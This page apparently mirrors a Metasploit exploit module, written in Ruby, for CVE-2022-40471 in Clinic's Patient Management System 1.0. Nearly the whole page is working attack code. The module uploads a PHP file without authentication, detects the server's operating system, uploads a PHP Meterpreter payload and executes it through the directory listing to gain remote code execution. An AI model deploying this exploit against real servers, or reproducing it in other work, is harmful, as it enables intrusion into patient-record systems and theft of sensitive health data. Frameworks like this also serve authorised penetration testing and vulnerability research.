Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb
Views: 15981
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::PhpEXE9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',16'Description' => %q{17This module exploits an unauthenticated file upload vulnerability in Clinic's18Patient Management System 1.0. An attacker can upload a PHP web shell and execute19it by leveraging directory listing enabled on the `/pms/user_images` directory.20},21'Author' => [22'Aaryan Golatkar', # Metasploit Module Developer23'Oğulcan Hami Gül', # Vulnerability discovery24],25'License' => MSF_LICENSE,26'Platform' => 'php',27'Arch' => ARCH_PHP,28'Privileged' => false,29'Targets' => [30['Clinic Patient Management System 1.0', {}]31],32'DefaultTarget' => 0,33'References' => [34['EDB', '51779'],35['CVE', '2022-40471'],36['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],37['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']38],39'DisclosureDate' => '2022-10-31',40'Notes' => {41'Stability' => [CRASH_SAFE],42'Reliability' => [REPEATABLE_SESSION],43'SideEffects' => [ARTIFACTS_ON_DISK]44}45)46)4748register_options([49OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),50OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),51OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])52])53end5455def check56print_status('Checking if target is vulnerable...')5758# Step 1: Retrieve PHPSESSID59vprint_status('Fetching PHPSESSID from the server...')60res_session = send_request_cgi({61'uri' => normalize_uri(target_uri.path, 'users.php'),62'method' => 'GET'63})6465unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)66print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')67return CheckCode::Unknown68end6970phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)71if phpsessid.nil?72print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')73return CheckCode::Unknown74else75phpsessid = phpsessid[1]76vprint_good("Obtained PHPSESSID: #{phpsessid}")77end7879# Step 2: Attempt File Upload80dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"81dummy_content = Rex::Text.rand_text_alphanumeric(20)82dummy_name = Rex::Text.rand_text_alphanumeric(6)83post_data = Rex::MIME::Message.new84post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')85post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')86post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')87post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")88post_data.add_part('', nil, nil, 'form-data; name="save_user"')8990vprint_status("Uploading dummy file #{dummy_filename}...")91res_upload = send_request_cgi({92'uri' => normalize_uri(target_uri.path, 'users.php'),93'method' => 'POST',94'ctype' => "multipart/form-data; boundary=#{post_data.bound}",95'data' => post_data.to_s,96'cookie' => "PHPSESSID=#{phpsessid}"97})9899unless res_upload && res_upload.code == 302100print_error('File upload attempt failed. Target may not be vulnerable.')101return CheckCode::Safe102end103vprint_good('Dummy file uploaded successfully.')104105# Step 3: Verify File in Directory Listing106vprint_status('Verifying uploaded file in /pms/user_images...')107res_listing = send_request_cgi({108'uri' => normalize_uri(target_uri.path, 'user_images/'),109'method' => 'GET',110'cookie' => "PHPSESSID=#{phpsessid}"111})112113if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)114vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")115CheckCode::Vulnerable116else117vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")118CheckCode::Unknown119end120end121122def upload_shell123random_user = Rex::Text.rand_text_alphanumeric(8)124random_password = Rex::Text.rand_text_alphanumeric(12)125detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s126detection_filename = "#{detection_basename}.php"127128# Step 1: Detect the OS129detection_script = <<~PHP130<?php131echo PHP_OS . "\\n";132?>133PHP134135vprint_status("Uploading OS detection script as #{detection_filename}...")136post_data = Rex::MIME::Message.new137post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')138post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')139post_data.add_part(random_password, nil, nil, 'form-data; name="password"')140post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")141post_data.add_part('', nil, nil, 'form-data; name="save_user"')142143res = send_request_cgi({144'uri' => normalize_uri(target_uri.path, 'users.php'),145'method' => 'POST',146'ctype' => "multipart/form-data; boundary=#{post_data.bound}",147'data' => post_data.to_s148})149150fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302151vprint_good('OS detection script uploaded successfully!')152153# Step 2: Retrieve the actual uploaded filename154vprint_status('Retrieving directory listing to identify detection script...')155sleep datastore['LISTING_DELAY']156157res_listing = send_request_cgi({158'uri' => normalize_uri(target_uri.path, 'user_images/'),159'method' => 'GET'160})161162fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200163164match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)165fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?166167actual_detection_filename = match[1]168vprint_status("Detected script filename: #{actual_detection_filename}")169170# Step 3: Execute the detection script171detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)172vprint_status("Executing OS detection script at #{detection_url}...")173res = send_request_cgi({174'uri' => detection_url,175'method' => 'GET'176})177178fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?179detected_os = res.body.strip.downcase180vprint_status("Detected OS: #{detected_os}")181182# Step 4: Choose payload based on OS183if detected_os.include?('win')184payload_content = get_write_exec_payload185print_status('Target is Windows. Using standard PHP Meterpreter payload.')186else187payload_content = get_write_exec_payload(unlink_self: true)188print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')189end190191# Step 5: Upload the payload192random_user = Rex::Text.rand_text_alphanumeric(8)193random_password = Rex::Text.rand_text_alphanumeric(12)194payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"195196vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")197198post_data = Rex::MIME::Message.new199post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')200post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')201post_data.add_part(random_password, nil, nil, 'form-data; name="password"')202post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")203post_data.add_part('', nil, nil, 'form-data; name="save_user"')204205res = send_request_cgi({206'uri' => normalize_uri(target_uri.path, 'users.php'),207'method' => 'POST',208'ctype' => "multipart/form-data; boundary=#{post_data.bound}",209'data' => post_data.to_s210})211212fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302213print_good('Payload uploaded successfully!')214215# Verify the presence of the uploaded file in the directory listing216vprint_status('Retrieving directory listing to confirm the uploaded payload...')217sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server218219res_listing = send_request_cgi({220'uri' => normalize_uri(target_uri.path, 'user_images/'),221'method' => 'GET'222})223224fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200225226# Search for the uploaded filename227match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)228fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?229230actual_filename = match[1]231vprint_good("Verified payload presence: #{actual_filename}")232register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']233actual_filename234end235236def exploit237# Upload the shell and retrieve its filename238uploaded_filename = upload_shell239240# Construct the URL for the uploaded shell241shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)242print_status("Executing the uploaded shell at #{shell_url}...")243244# Execute the uploaded shell245send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })246end247end248249250